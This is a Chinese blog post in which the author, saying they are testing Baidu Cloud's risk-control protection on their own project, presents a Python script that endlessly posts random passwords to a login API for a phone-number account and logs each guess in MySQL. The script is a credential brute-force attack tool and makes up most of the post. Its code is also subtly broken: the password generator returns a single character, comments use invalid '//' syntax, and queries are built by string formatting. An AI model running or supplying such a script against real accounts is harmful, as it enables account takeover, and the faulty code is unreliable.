大家好,又见面了,我是你们的朋友全栈君
由于业务需求,今天项目对接了百度云智能的风控系统,注册和登陆保护,想来测试一下性能,用python写了一个脚本,暴力激活成功教程密码,看看会不会触发风控
一、首先在本地新建了一个数据库,保存已经试错过的密码
CREATE TABLE `test`.`pwd` ( `id` int(10) NOT NULL AUTO_INCREMENT, `passwod` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT ”, `status` int(10) NOT NULL DEFAULT 0, PRIMARY KEY (`id`) USING BTREE, UNIQUE INDEX `id`(`id`) USING BTREE, INDEX `pwd`(`passwod`) USING BTREE ) ENGINE = MyISAM AUTO_INCREMENT = 1 CHARACTER SET = latin1 COLLATE = latin1_swedish_ci ROW_FORMAT = Dynamic;
不需要多,两个字段就好
给密码字段加个索引,方便数据量大的时候查询
二、写脚本
代码语言:javascript复制import requests
import random
import json
import pymysql
class login:
def randomStr():
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
salt = ''
//根据规则随机生成6-20位的字符串
i = random.randint(6,20)
for i in range(i):
salt = random.choice(s)
return salt
url = "http://www.api.com/api/User/login"
pymysql.install_as_MySQLdb()
db = pymysql.connect("localhost", "root", "", "test")
cursor = db.cursor()
while(True):
salt = login.randomStr()
//查询数据库中有没有已经有这个新生成的密码,有的话,重新生成一个,没有就插入一条
sql = "select * from pwd where passwod='%s'" % salt
r = cursor.execute(sql)
result = cursor.fetchone()
if(result != None):
salt = login.randomStr()
data = {"account": "134********", "password": salt, "imei": ""}
res = requests.post(url=url,json=data)
insertSql = "insert into pwd(`passwod`) values('%s')" % (salt)
print(insertSql)
try:
cursor.execute(insertSql)
db.commit()
except:
db.rollback()
json_str = json.loads(res.text)
print("随机密码:",salt)
print("Python 原始数据:", json_str)
//登陆成功之后退出
if(json_str.get('code') == 1):
print("登陆成功")
exit()
print("JSON 对象:", json_str.get('data').get('msg'))
这样一个简单的脚本就写好了,自动跑去吧
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/172185.html原文链接:https://javaforall.cn